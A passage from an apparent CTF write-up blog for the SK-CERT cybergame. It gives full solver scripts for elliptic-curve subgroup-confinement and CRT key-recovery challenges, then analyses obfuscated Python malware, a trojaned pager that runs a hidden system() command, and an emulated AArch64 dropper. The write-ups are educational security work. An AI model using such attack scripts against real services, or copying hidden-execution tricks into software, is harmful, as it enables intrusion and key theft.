src="https://cdn-images-1.medium.com/max/489/1*b_JMjXNGQRdKd3iGa_F3Og.png" /><figcaption>chall desc</figcaption></figure><p>First connect to instance for challenge:</p><pre>$ nc exp.cybergame.sk 7009<br><br>   == Extended Illusion ==<br>Curve: y^2 = x^3 + a*x + b (mod p)<br><br>p = 0xfffffffdffffffffffffffffffffffff<br>a = 0xfffffffdfffffffffffffffffffffffc<br>b = 0xe87579c11079f43dd824993c2cee5ed3<br>N = 0xfffffffc00000003ffffffffffffffffc9f18e2b1c66c5082fb421d381749447<br>H = 46867957373857787<br><br>Menu:<br>  1) query point for ecc<br>  2) submit the right k<br><br>&gt;</pre><p>The challenge provides a menu with two options:</p><p>1. <strong>Query point for ECC</strong>: The server prompts for a coordinate `X` (an element of the base field $\mathbb{F}_p$), computes a point $P = (X, Y) \in E(\mathbb{F}_{p²})$, multiplies it by a secret scalar $k$, and returns the resulting point $Q = k \cdot P$.</p><p>2. <strong>Submit the right k</strong>: We must send the correct secret scalar $k$ to retrieve the flag.</p><h3>1. Mathematical Background &amp; Analysis:</h3><h4>The Curve and Extension Field:</h4><p>We are given the following curve parameters:</p><p>- <strong>Base Field Characteristic</strong>: $p = 2^{128} — 2^{96} — 1$ (128-bit prime)</p><p>- <strong>Curve Equation</strong>: $y² = x³ + a x + b$</p><p>- $a = p — 3$</p><p>- $b = 0xe87579c11079f43dd824993c2cee5ed3$</p><p>- <strong>Total Curve Order</strong>: $N$ (a 256-bit integer, confirming the curve $E$ is defined over the quadratic extension field $\mathbb{F}_{p²} \cong \mathbb{F}_p[u]/(u² + 1)$).</p><pre>N = 0xfffffffc00000003ffffffffffffffffc9f18e2b1c66c5082fb421d381749447</pre><h4>The Subgroup Order $H$:</h4><p>The challenge specifies a subgroup of order $H$:</p><pre>H = 46867957373857787</pre><p>Factoring $H$ reveals that it is highly smooth, composed of three small prime factors:</p><p>$$H = 41 \times 12583759 \times 90840973$$</p><p>Because of the small size of these factors, if we can force the elliptic curve operations to occur within the subgroup generated by a point of order $H$, we can easily recover $k \pmod H$ using the <strong>Pohlig-Hellman algorithm</strong>.</p><h3>2. Vulnerability &amp; Attack Vector:</h3><h4>Small Subgroup Confinement:</h4><p>Since the server allows us to query <em>any</em> point by declaring its $x$-coordinate, we can perform a <strong>subgroup confinement attack</strong>.</p><p>If we feed the server an $x$-coordinate $x_P \in \mathbb{F}_p$ such that the generated point $P = (x_P, y_P)$ has order exactly $H$, the server computes:</p><p>$$Q = k \cdot P$$</p><p>Since $\operatorname{ord}(P) = H$, $Q$ also belongs to the subgroup of order $H$. Thus:</p><p>$$Q = (k \bmod H) \cdot P$$</p><p>We can then compute the discrete logarithm $d = \log_P Q \pmod H$ using Sage.</p><h4>Crucial Requirement: $x$-Coordinate in the Base Field $\mathbb{F}_p$:</h4><p>The server’s query interface only takes a single integer $x \in \mathbb{F}_p$. Therefore, we cannot just choose any random point $P \in E(\mathbb{F}_{p²})$ of order $H$; we must find a point $P$ of order $H$ such that its $x$-coordinate is in $\mathbb{F}_p$ ($x_1 = 0$).</p><p>We search for such a point by iterating over $x$-coordinates in $\mathbb{F}_p$:</p><ol><li>Select a base-field coordinate $x \in \mathbb{F}_p$ such that $x³ + ax + b$ is a quadratic non-residue modulo $p$. This guarantees the corresponding $y$-coordinate lies in $\mathbb{F}_{p²} \setminus \mathbb{F}_p$.</li></ol><p>2. Construct the point $P_0 = (x, y) \in E(\mathbb{F}_{p²})$.</p><p>3. Scale $P_0$ by the cofactor: $P = \operatorname{cof} \cdot P_0$, where $\operatorname{cof} = N / H$.</p><p>4. Check if $P$ is not the identity point and has order exactly $H$.</p><p>5. Verify whether the $x$-coordinate of the scaled point $P$ is in $\mathbb{F}_p$ (i.e., its imaginary part is $0$). If so, we have found our ideal query point!</p><h3>3. Exploit Derivation &amp; Sign Discrepancy:</h3><p>When we query the server with the base-field coordinate $x_P$, the server computes:</p><p>$$y² \equiv x_P³ + a x_P + b \pmod{p²}$$</p><p>Since there are two square roots ($\pm y$), Sage’s implementation of `.sqrt()` might pick a different sign than the server.</p><p>- If they match: $P_{\text{server}} = P_{\text{sage}} \implies d \equiv k \pmod H$.</p><p>- If they are opposites: $P_{\text{server}} = -P_{\text{sage}} \implies d \equiv -k \pmod H$.</p><p>Thus, we obtain $k \equiv -d \pmod H$ (or $d \pmod H$). We submit this value to options `2` of the server menu.</p><h3>4. Exploitation Script:</h3><p>Below is the Sage solver script used to automate the attack:</p><pre>#!/usr/bin/env sage<br>from sage.all import *<br>from pwn import *<br>import re<br><br>HOST = &quot;exp.cybergame.sk&quot;<br>PORT = 7009<br><br>p = Integer(0xfffffffdffffffffffffffffffffffff)<br>a = Integer(0xfffffffdfffffffffffffffffffffffc)<br>b = Integer(0xe87579c11079f43dd824993c2cee5ed3)<br>N = Integer(0xfffffffc00000003ffffffffffffffffc9f18e2b1c66c5082fb421d381749447)<br>H = Integer(46867957373857787)<br><br>factors = [Integer(41), Integer(12583759), Integer(90840973)]<br><br>Fp = GF(p)<br>R.&lt;T&gt; = PolynomialRing(Fp)<br>K.&lt;u&gt; = GF(p^2, modulus=T^2 + 1)<br><br>E = EllipticCurve(K, [K(a), K(b)])<br>assert E.order() == N<br><br>def elem(x0, x1):<br>    return K(Fp(x0)) + K(Fp(x1)) * u<br><br>def coeffs(z):<br>    poly = K(z).polynomial()<br>    z0 = Integer(poly[0]) if poly.degree() &gt;= 0 else Integer(0)<br>    z1 = Integer(poly[1]) if poly.degree() &gt;= 1 else Integer(0)<br>    return z0, z1<br><br>def get_x_fp(P):<br>    x0, x1 = coeffs(P[0])<br>    if x1 != 0:<br>        raise ValueError(&quot;x no está en Fp&quot;)<br>    return x0<br><br>def recv_prompt(io):<br>    return io.recvuntil(b&quot;&gt; &quot;, timeout=5)<br><br>def parse_resp_point(data):<br>    m = re.search(rb&quot;resp\s*=\s*([0-9a-fA-F]+)&quot;, data)<br>    if not m:<br>        raise ValueError(data.decode(errors=&quot;ignore&quot;))<br><br>    h = m.group(1).decode()<br>    if len(h) != 128:<br>        raise ValueError(f&quot;resp len rara: {len(h)} {h}&quot;)<br><br>    x0 = Integer(int(h[0:32], 16))<br>    x1 = Integer(int(h[32:64], 16))<br>    y0 = Integer(int(h[64:96], 16))<br>    y1 = Integer(int(h[96:128], 16))<br><br>    return E(elem(x0, x1), elem(y0, y1))<br><br>def query_point(io, x):<br>    recv_prompt(io)<br>    io.sendline(b&quot;1&quot;)<br>    io.recvuntil(b&quot;X&quot;, timeout=5)<br>    io.recvuntil(b&quot;:&quot;, timeout=5)<br>    io.sendline(str(Integer(x)).encode())<br><br>    data = io.recvuntil(b&quot;&gt; &quot;, timeout=5)<br>    print(data.decode(errors=&quot;ignore&quot;))<br>    return parse_resp_point(data)<br><br>def point_from_x_fp(x):<br>    x = elem(x, 0)<br>    rhs = x^3 + K(a) * x + K(b)<br>    y = rhs.sqrt()<br>    return E(x, y)<br><br>def find_point_order_H():<br>    cof = N // H<br><br>    for x in range(1, 3000000):<br>        rhs = (Integer(x)^3 + a * Integer(x) + b) % p<br><br>        if kronecker(rhs, p) == 1:<br>            continue<br><br>        P0 = point_from_x_fp(x)<br>        P = cof * P0<br><br>        if not P.is_zero() and P.order() == H:<br>            return P, get_x_fp(P)<br><br>    raise RuntimeError(&quot;No encontré punto de orden H&quot;)<br><br>def recover_k_mod_H(P, Q):<br>    residues = []<br>    moduli = []<br><br>    for q in factors:<br>        print(f&quot;[*] Resolviendo módulo {q}&quot;)<br><br>        Pq = (H // q) * P<br>        Qq = (H // q) * Q<br><br>        r = discrete_log(Qq, Pq, ord=q, operation=&quot;+&quot;)<br>        r = Integer(r)<br><br>        print(f&quot;[+] dlog = {r} mod {q}&quot;)<br><br>        residues.append(r)<br>        moduli.append(q)<br><br>    return Integer(crt(residues, moduli) % H)<br><br>def submit(io, k):<br>    recv_prompt(io)<br>    io.sendline(b&quot;2&quot;)<br>    io.sendline(str(Integer(k)).encode())<br>    out = io.recvall(timeout=5).decode(errors=&quot;ignore&quot;)<br>    print(out)<br>    return out<br><br>def main():<br>    print(&quot;[+] factor(H) =&quot;, factor(H))<br><br>    print(&quot;[*] Buscando punto de orden H...&quot;)<br>    P, xP = find_point_order_H()<br><br>    print(&quot;[+] P =&quot;, P)<br>    print(&quot;[+] x(P) =&quot;, xP)<br><br>    io = remote(HOST, PORT)<br><br>    Q = query_point(io, xP)<br>    print(&quot;[+] Q =&quot;, Q)<br><br>    d = recover_k_mod_H(P, Q)<br><br>    # Importante:<br>    # Sage eligió la raíz contraria a la del servidor.<br>    # El dlog obtenido es -k mod H, así que enviamos -d.<br>    k = (-d) % H<br><br>    print(&quot;[+] dlog obtenido =&quot;, d)<br>    print(&quot;[+] k real        =&quot;, k)<br><br>    print(&quot;[*] Enviando k en la misma conexión...&quot;)<br>    submit(io, k)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>5. Flag Details:</h3><p>Executing the solver connects to the challenge service, extracts the secret $k$, and recovers the flag:</p><pre>SK-CERT{0p3r4t10n5_0v3r_qu4dr4t1c_f13ld5_4r3_54f3r}</pre><h3>19: Return of eliptic — Twisting the truth:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Do1tvvnPnGwrjWYk5A2X4Q.png" /><figcaption>Chall desc</figcaption></figure><p>As you can see in the description theres 3 hints and if you wonder why because i am sure this is unsolvable without the hints, because the chall remained unsolved till the 3rd hint dropped so this writeup is based on after the 3 hints.</p><p>chall files :</p><p>enc.enc:</p><pre>{<br>  &quot;field&quot;: {<br>    &quot;p&quot;: &quot;240216054091197400064972999812429686881&quot;,<br>    &quot;modulus&quot;: &quot;z^4 - 41857999666904709325391374420372856847&quot;<br>  },<br>  &quot;curve&quot;: {<br>    &quot;form&quot;: &quot;y**2 = x**3 + a*x&quot;,<br>    &quot;a&quot;: &quot;202528927977825293762893890130927217592&quot;,<br>  },<br>  &quot;leakage&quot;: [<br>    {<br>      &quot;m&quot;: &quot;20486509&quot;,<br>      &quot;s&quot;: &quot;18634872&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;20173&quot;,<br>      &quot;s&quot;: &quot;15972&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;129229&quot;,<br>      &quot;s&quot;: &quot;3703&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;31567&quot;,<br>      &quot;s&quot;: &quot;16733&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;977507&quot;,<br>      &quot;s&quot;: &quot;933646&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;1410697&quot;,<br>      &quot;s&quot;: &quot;130773&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;4478153&quot;,<br>      &quot;s&quot;: &quot;2527802&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;25335361&quot;,<br>      &quot;s&quot;: &quot;16399734&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;207931&quot;,<br>      &quot;s&quot;: &quot;138206&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;21067&quot;,<br>      &quot;s&quot;: &quot;11010&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;95143&quot;,<br>      &quot;s&quot;: &quot;67592&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;223463&quot;,<br>      &quot;s&quot;: &quot;4896&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;222389&quot;,<br>      &quot;s&quot;: &quot;109323&quot;<br>    },<br>    {<br>      &quot;m&quot;: &quot;22926451&quot;,<br>      &quot;s&quot;: &quot;19843815&quot;<br>    }<br>  ],<br>  &quot;cipher&quot;: {<br>    &quot;nonce&quot;: &quot;a2edde60ebbcceb7a0d3a14c&quot;,<br>    &quot;ct&quot;: &quot;255941a1338e08282443ae04c0a8f8bf0c937d1dc6a60e090b3a0af5ae307e8c3079b4256204874ff23c2a208895b41fe98500898e4b9b22afd8&quot;<br>  }<br>}</pre><p>handout.txt:</p><pre># 4-Lane Backup Fragment<br><br>What survived is not a transcript.<br>It is a residue.<br><br>A backup was recovered from an experimental elliptic-curve accelerator built around a 4-lane arithmetic core. Very little was preserved: a field boundary, a lane relation, a short curve description, several modular fragments, and one sealed payload.<br>The machine was designed to move information across four lanes, but the lanes do not behave as four separate worlds. Some parts travel intact. Some parts collapse. Some parts only become visible after reduction.<br>A single concealed quantity passes through the same machinery more than once, and each row shows only a narrow slice of what remains after reduction. The slices are small on purpose.<br><br>A few things are easy to misread:<br><br>Do not search for randomness where there is only repetition.<br>Do not search for interaction where there is only reuse.<br>Do not assume that what is hidden is also absent.<br><br>The sealed payload does not need to be attacked directly.<br><br>What survived is enough.</pre><p>The Hints:</p><p>1. <strong>**The Flavor Text:**</strong> <em>*”Who will believe Jacob now? He is just twisting the truth, so he would look cool.”*</em></p><p>- This subtly points towards “Jacobian coordinates” and “Quartic twists” applied to elliptic curves.</p><p>2. <strong>**The First Clue:**</strong> <em>*”Each leakage row is only a modular shadow of the same reused secret.”*</em></p><p>3. <strong>**The Equation:**</strong> `s ≡ A*k + B (mod m)`</p><p>- The values $s$ and $m$ were leaked directly in the backup file (`enc.enc`).</p><p>- The variables `A` and `B` were given via a sequence array inside `Hint 3`.</p><h3>Vulnerability Analysis:</h3><p>The backup output in `enc.enc` was in JSON format with a syntax error (a trailing comma). Once fixed and inspected, it presented 14 `leakage` objects holding variables `m` and `s`.</p><h4>From the second hint:</h4><p>$$s_i \equiv A_i \cdot k + B_i \pmod{m_i}$$</p><p>The core vulnerability is that $k$ is perfectly preserved across all instances (the <strong>**”same reused secret”**</strong>). Since we are given `s`, `m`, `A` and `B` for $14$ equations, we have enough information to reconstruct the value of $k$ modulo each modulus $m_i$. We can rewrite the formula to isolate $k$:</p><p>$$A_i \cdot k \equiv (s_i — B_i) \pmod{m_i}$$</p><p>$$k \equiv A_i^{-1} (s_i — B_i) \pmod{m_i}$$</p><p>By reducing these elements, we generate $14$ congruences of the form $k \equiv r_i \pmod{m_i}$.</p><h3>The Exploit:</h3><p>The algorithm to recover $k$ from a suite of isolated modular congruences is straightforward: The <strong>**Chinese Remainder Theorem (CRT)**</strong>.</p><p>Solving the equations</p><p>First, we find the modular inverse of each $A_i$ corresponding to the modulus $m_i$. This grants us the remainder $r_i$ for $k$.</p><p>By pushing our modulus array and remainder array through `sympy.ntheory.modular.crt()`, the single unifying secret $k$ is returned gracefully:</p><pre>k = 5337913728285739956091395719319401974310170459842094717044356163962253691968987</pre><h4>The Decryption:</h4><p>With the master seed string captured, we simply process the given symmetric cipher key derivation logic to extract our plaintext flag. Here is the full solver script:</p><pre>import json<br>import re<br>import hashlib<br>from Crypto.Util.number import inverse<br>from sympy.ntheory.modular import crt<br><br>def fix_json(text):<br>    &quot;&quot;&quot;<br>    Fix trailing commas in JSON text to make it parsable.<br>    &quot;&quot;&quot;<br>    text = re.sub(r&#39;,\s*}&#39;, &#39;}&#39;, text)<br>    text = re.sub(r&#39;,\s*\]&#39;, &#39;]&#39;, text)<br>    return text<br><br>def solve():<br>    <br>    A_and_B = [<br>        (20351961, 13972866),<br>        (1121, 18695),<br>        (41963, 125946),<br>        (13797, 26843),<br>        (153168, 827907),<br>        (974024, 985846),<br>        (1085609, 3427804),<br>        (2019698, 24894321),<br>        (37418, 129373),<br>        (9508, 7191),<br>        (4083, 93632),<br>        (82129, 156223),<br>        (39537, 59977),<br>        (771790, 20487579),<br>    ]<br><br>   <br>    with open(&#39;enc.enc&#39;, &#39;r&#39;) as f:<br>        text = f.read()<br><br>    data = json.loads(fix_json(text))<br>    leakage = data[&#39;leakage&#39;]<br><br>    moduli = []<br>    remainders = []<br><br>    <br>    print(&quot;[*] Reconstructing modular equations...&quot;)<br>    for i, row in enumerate(leakage):<br>        m = int(row[&#39;m&#39;])<br>        s = int(row[&#39;s&#39;])<br>        A, B = A_and_B[i]<br>        <br>        <br>        inv_A = inverse(A, m)<br>        rem = ((s - B) * inv_A) % m<br>        <br>        moduli.append(m)<br>        remainders.append(rem)<br>        print(f&quot;    Eq {i+1:02d}: k ≡ {rem} (mod {m})&quot;)<br><br>    <br>    print(&quot;[*] Applying Chinese Remainder Theorem to recover secret &#39;k&#39;...&quot;)<br>    k, M = crt(moduli, remainders)<br>    print(f&quot;[+] Recovered k: {k}&quot;)<br><br>    <br>    nonce_hex = data[&#39;cipher&#39;][&#39;nonce&#39;]<br>    ct_hex = data[&#39;cipher&#39;][&#39;ct&#39;]<br>    print(f&quot;\n[*] Decrypting payload with nonce: {nonce_hex}&quot;)<br>    <br>    nonce = bytes.fromhex(nonce_hex)<br>    ciphertext = bytes.fromhex(ct_hex)<br><br>    <br>    seed_part1 = hashlib.sha256(str(k).encode()).digest()<br>    seed = seed_part1 + b&quot;|&quot; + nonce<br>    <br>    <br>    stream = hashlib.shake_256(seed).digest(len(ciphertext))<br>    <br>    <br>    plaintext = bytes([c ^ s for c, s in zip(ciphertext, stream)])<br>    print(&quot;\n[+] Flag successfully decrypted!&quot;)<br>    print(plaintext.decode(&#39;utf-8&#39;))<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WnaflDJP6pOeJQDLQYpcw.png" /><figcaption>output</figcaption></figure><pre>SK-CERT{qu4r71c_7w157s_4r3_v3ry_b34u71ful_bu7_u5ed_r4r3ly}</pre><h3>20: Malware Analysis — To True or Not To True:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*_rF5oLDeC-1unQdiMBBZ7w.png" /><figcaption>chall desc</figcaption></figure><p>well this challenge offers us this amazing code thats just pure gibberish</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GwtRL61TSnYS_TdLShlZQ.png" /><figcaption>chall file</figcaption></figure><h3>1. Initial Analysis:</h3><p>Upon inspecting `trueorfalse.py`, you’ll notice it is heavily obfuscated. The entire script consists of deep nesting of `(True)+(True)+(True)` additions and Chinese character variable names used to dynamically evaluate and execute code.</p><p>If you try to simply run the script via `python3 trueorfalse.py`:</p><pre>Segmentation fault (core dumped)</pre><p><strong>Why does it segfault?</strong></p><p>CPython has a maximum C-stack recursion depth when its Abstract Syntax Tree (AST) parser tries to compile a Python file. The obfuscator constructed mathematical additions that are tens of thousands of operations long (e.g., `(True)+(True)…`). When `python3` reads this, the AST evaluator overflows the C stack and throws a Segmentation Fault before the program even begins execution, or simply because the code is gibberish bs.</p><h3>2. Decompression &amp; Regex Simplification:</h3><p>Because we are unable to use `python3` to directly parse and execute the script natively, we need to artificially shrink the file so the AST parser can handle it.</p><p>We can observe that the obfuscator uses `True` as `1`. When it wants a byte value of `95`, it repeats `(True)+(True)…` 95 times.</p><p>We can write a regular expression to find blocks like `(True)+(True)` and replace them with their summed integer values.</p><p><strong>*Decompression Script (`compress.py`):</strong></p><pre>import re<br><br>with open(&quot;trueorfalse.py&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:<br>    text = f.read()<br><br># Replace True with 1 and False with 0<br>text = text.replace(&quot;True&quot;, &quot;1&quot;).replace(&quot;False&quot;, &quot;0&quot;)<br><br># Find chains of additions and reduce them to the count of 1s<br>def simplify_addition(m):<br>    s = m.group(0)<br>    c = s.count(&#39;1&#39;)<br>    return str(c)<br><br># Regex to match 3 or more additions of 1/0<br>pattern = re.compile(r&#39;(?:\(1\)\+|\(0\)\+|1\+|0\+){3,}(?:\(1\)|\(0\)|1|0)&#39;)<br><br>out = re.sub(pattern, simplify_addition, text)<br><br>with open(&quot;decompressed.py&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:<br>    f.write(out)</pre><p><em>*This step brings the file size down from ~5MB to ~2MB and resolves the Segmentation Fault, allowing Python to successfully parse it.*</em></p><h3>3. Execution Interception:</h3><p>Now that the code is small enough to parse, we can look at what it actually does. The decompressed script eventually calls Python’s `__builtins__.exec` to run the deobfuscated malware payload.</p><p>To intercept the payload without actually getting infected (or just to see what it is doing), we can hijack `exec()` before the script invokes it.</p><p><strong>Interceptor Script (`interceptor.py`):</strong></p><pre>import sys<br>import builtins<br>import marshal<br><br>sys.setrecursionlimit(100000)<br><br>original_exec = builtins.exec<br><br># Our custom hook<br>def mocked_exec(source, *args, **kwargs):<br>    print(&quot;--- EXEC INTERCEPTED ---&quot;)<br>    <br>    # If the source is a compiled code object<br>    if type(source) == type((lambda: None).__code__):<br>        print(&quot;Dumping code object to out.marshal&quot;)<br>        with open(&quot;code.marshal&quot;, &quot;wb&quot;) as f:<br>            marshal.dump(source, f)<br>            <br>    # Do NOT execute it<br>    return None<br><br>builtins.exec = mocked_exec<br><br>with open(&quot;decompressed.py&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:<br>    text = f.read()<br><br># Run the decompressed malware within our hooked environment<br>original_exec(text, {&#39;__name__&#39;: &#39;__main__&#39;, &#39;__builtins__&#39;: builtins})</pre><h3>4. Extracting the Flag:</h3><p>The `interceptor.py` script successfully prevents execution and dumps the underlying malicious Python compiled code object (`&lt;class ‘code’&gt;`) to `code.marshal`.</p><p>Since the flag is hardcoded somewhere inside this payload, we only need to extract the string constants. We can write a quick script to recursively walk the `co_consts` of the compiled bytecode and dump any strings.</p><p><strong>Extraction Script (`extract.py`):</strong></p><pre>import marshal<br><br>with open(&quot;code.marshal&quot;, &quot;rb&quot;) as f:<br>    code = marshal.load(f)<br><br>def extract_strings(c):<br>    strings = []<br>    <br>    # Add names<br>    strings.extend(c.co_names)<br>    strings.extend(c.co_varnames)<br>    <br>    # Check all constants recursively<br>    for const in c.co_consts:<br>        if isinstance(const, str) or isinstance(const, bytes):<br>            strings.append(const)<br>        elif type(const) == type(c):<br>            strings.extend(extract_strings(const))<br>            <br>    return strings<br><br>for string in extract_strings(code):<br>    if isinstance(string, str) and len(string) &gt; 2:<br>        print(repr(string))</pre><p>Running the extraction script dumps the commands the malware intended to run as well as the flag!</p><p><strong>Output:</strong></p><pre><br>&#39;system&#39;<br>&#39;getlogin&#39;<br>&#39;--- malware succesfully executed ---&#39;<br>&#39;enumerating victim system:&#39;<br>&#39;pwd; whoami; &#39;<br>&#39;SK-CERT{w0w0w0w0_u_f0und_m33333_u_Pr0_M4lw_4n4ly57_6j}&#39;</pre><h3>21: Malware Analysis — Lesser less:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*oIqDaLuaUCr9l4eHON7OmQ.png" /><figcaption>chall desc</figcaption></figure><p>I got first blood on this chall btw :3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*VqQkMq_PK2TCtV6ynQZ9YA.png" /><figcaption>First blood</figcaption></figure><h3>1. Initial Analysis:</h3><p>Using `strings` and `nm` on the binary revealed several interesting functions:</p><p>- `decode_phrase_from_file`: Reads data from a file and processes it.</p><p>- `execute_phrase_command`: Executes a string as a system command.</p><p>- `sha256_hex`, `sha256_init`, `sha256_update`, `sha256_final`: Statically linked SHA-256 implementation.</p><p>- `TARGET_HASHES`: A data structure containing pointers to 40 hex strings in `.rodata`.</p><h3>2. Reverse Engineering the Logic:</h3><h4>The Pager:</h4><p>The binary implements a basic terminal pager that displays the content of a file. However, before entering the main loop, it calls `decode_phrase_from_file` on the file passed as an argument.</p><h4>Hidden Command Decoding:</h4><p>The `decode_phrase_from_file` function operates as follows:</p><p>1. It reads the entire input file into a buffer.</p><p>2. It iterates 40 times (once for each target hash).</p><p>3. For each iteration `i`, it performs a sliding window search across the file:</p><ul><li>It takes every possible 2-byte chunk `[B1, B2]`.</li><li>It calculates the SHA-256 hash of this chunk and converts it to a hex string.</li><li>It compares this hex string to `TARGET_HASHES[i]` using `strcmp`.</li></ul><p>4. If a match is found for `TARGET_HASHES[i]`, it stores BOTH bytes `B1` and `B2` into a result buffer (the “phrase”).</p><p>5. It then moves to the next target hash `i+1` and repeats the search from the beginning of the file.</p><p>6. After finding all 40 matches, it appends a null terminator to the result buffer.</p><h4>Command Execution:</h4><p>If the “phrase” is successfully decoded (meaning all 40 hashes were found in the file), `main` calls `execute_phrase_command(phrase)`, which runs `system(phrase)`.</p><h3>3. Vulnerability:</h3><p>The security of this mechanism relies on the difficulty of finding 2-byte chunks that match the specific SHA-256 hashes. Since a 2-byte chunk only has $2^{16} = 65,536$ possibilities, it is trivial to brute-force all possible chunks for each hash.</p><h3>4. Solving the Challenge:</h3><p>By extracting the 40 hex hashes from the binary’s `.rodata` section and brute-forcing every possible 2-byte value, we can reconstruct the hidden command without even needing the original file.</p><h4>Extraction:</h4><p>Hashes were found at offsets starting from `0x4080` in the binary. Each is a 64-character hex string followed by a null terminator.</p><h4>Brute Force Results:</h4><p>Brute-forcing each hash yields the following 2-byte chunks:</p><pre>`ec`, `ho`, ` &#39;`, `wh`, `er`, `e `, `is`, ` t`, `he`, ` f`, `la`, `g?`, `&#39; `, `&gt; `, `fl`, `ag`, `.t`, `xt`, ` #`, ` S`, `K-`, `CE`, `RT`, `{l`, `99`, `k1`, `n6`, `_f`, `0r`, `_h`, `1d`, `d3`, `n_`, `fu`, `nc`, `71`, `0n`, `4l`, `17`, `y}`</pre><p>Concatenating these chunks results in the following command:</p><pre>echo &#39;where is the flag?&#39; &gt; flag.txt # SK-CERT{l99k1n6_f0r_h1dd3n_func710n4l17y}</pre><h3>Solver:</h3><pre>import hashlib<br>import struct<br>import os<br><br>def solve():<br>    binary_path = &#39;less&#39;<br>    if not os.path.exists(binary_path):<br>        binary_path = &#39;/home/saad/Downloads/Lesser Less/less&#39;<br>        <br>    with open(binary_path, &#39;rb&#39;) as f:<br>        binary = f.read()<br><br>    # TARGET_HASHES pointers at file offset 0x6020 (VMA 0x7020)<br>    # The pointers themseleves are VMAs (e.g., 0x4080)<br>    # .rodata starts at VMA 0x4000 (File Offset 0x4000)<br>    hashes = []<br>    for i in range(40):<br>        ptr = struct.unpack(&#39;&lt;Q&#39;, binary[0x6020 + i*8 : 0x6020 + i*8 + 8])[0]<br>        # ptr is VMA<br>        idx = ptr<br>        h = b&quot;&quot;<br>        while idx &lt; len(binary) and binary[idx] != 0:<br>            h += bytes([binary[idx]])<br>            idx += 1<br>        hashes.append(h.decode())<br><br>    command_bytes = []<br>    print(&quot;[*] Brute-forcing 40 SHA-256 hashes...&quot;)<br>    for i, target in enumerate(hashes):<br>        found = False<br>        for b1 in range(256):<br>            for b2 in range(256):<br>                chunk = bytes([b1, b2])<br>                if hashlib.sha256(chunk).hexdigest() == target:<br>                    command_bytes.extend([b1, b2])<br>                    found = True<br>                    break<br>            if found: break<br>        if not found:<br>            print(f&quot;[!] Could not find match for hash {i}&quot;)<br>    <br>    command = bytes(command_bytes).decode(errors=&#39;ignore&#39;)<br>    print(f&quot;\n[+] Recovered Command:\n{command}\n&quot;)<br>    <br>    # Extract flag from command<br>    if &quot;SK-CERT{&quot; in command:<br>        flag = command.split(&quot;SK-CERT{&quot;)[1].split(&quot;}&quot;)[0]<br>        print(f&quot;[+] Flag: SK-CERT{{{flag}}}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><h4>Output:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KZvzeH8XHa-8Pw8e-mk3A.png" /><figcaption>Script output</figcaption></figure><pre>SK-CERT{l99k1n6_f0r_h1dd3n_func710n4l17y}</pre><h3>22: Malware Analysis — Shifted Payload:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*vcENFosB2wGeFOFAi_E0Yw.png" /><figcaption>Chall desc</figcaption></figure><p>This ones really long so suit yourself, i found this challenge to be really hard also.</p><p>The solve was <strong>**not**</strong> done by guessing the flag, manually decoding the payload, or patching the binary.</p><p>The successful strategy was:</p><p>1. Identify the binary’s architecture and runtime requirements</p><p>2. Inspect the binary statically for strings and environment gates</p><p>3. Satisfy the binary’s environment checks by <strong>**faking**</strong> the environment (not patching)</p><p>4. Run it under AArch64 emulation (QEMU user-mode)</p><p>5. Trace real runtime behavior with QEMU’s built-in syscall tracing</p><p>6. Match the first-stage socket protocol exactly</p><p>7. Let the binary execute its own multi-stage pipeline</p><p>8. Recover the dropped `evil.sh`</p><p>9. Extract the flag from the script</p><h3>Step 1 — Initial triage:</h3><p>The first step was identifying what kind of binary `less` actually is:</p><pre>file ~/Downloads/Shifted_payload/less<br><br>less: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV),<br>      dynamically linked, interpreter /lib/ld-linux-aarch64.so.1,<br>      BuildID[sha1]=caa4b49786f89f8694f310805391755f10334e79,<br>      for GNU/Linux 3.7.0, stripped</pre><pre>readelf -h ~/Downloads/Shifted_payload/less<br><br><br>| Field | Value |<br>|---|---|<br>| Class | ELF64 |<br>| Machine | AArch64 |<br>| Type | DYN (Position-Independent Executable) |<br>| Entry point | `0x2d740` |<br>| Sections | 31 |</pre><h4>Why this matters:</h4><p>- The binary <strong>will not execute natively</strong> on an x86\_64 host — AArch64 emulation is required</p><p>- It is <strong>stripped</strong> and <strong>Rust-based</strong>, meaning static reversing alone would be extremely slow and noisy</p><p>- The correct approach: install AArch64 emulation → gather enough static context to know what must be faked → run it and trace</p><h3>Step 2 — Prepare the runtime environment:</h3><p>Since the my host was Arch Linux, the required packages were:</p><pre>sudo pacman -S qemu-user-static qemu-user-static-binfmt aarch64-linux-gnu-glibc aarch64-linux-gnu-gcc</pre><h4>This provided:</h4><pre><br>| Component | Path |<br>|---|---|<br>| QEMU user-mode emulator | `/usr/bin/qemu-aarch64-static` |<br>| AArch64 dynamic loader | `/usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1` |<br>| AArch64 glibc | `/usr/aarch64-linux-gnu/lib/libc.so.6` |</pre><p>Without these, the binary cannot be loaded or executed under 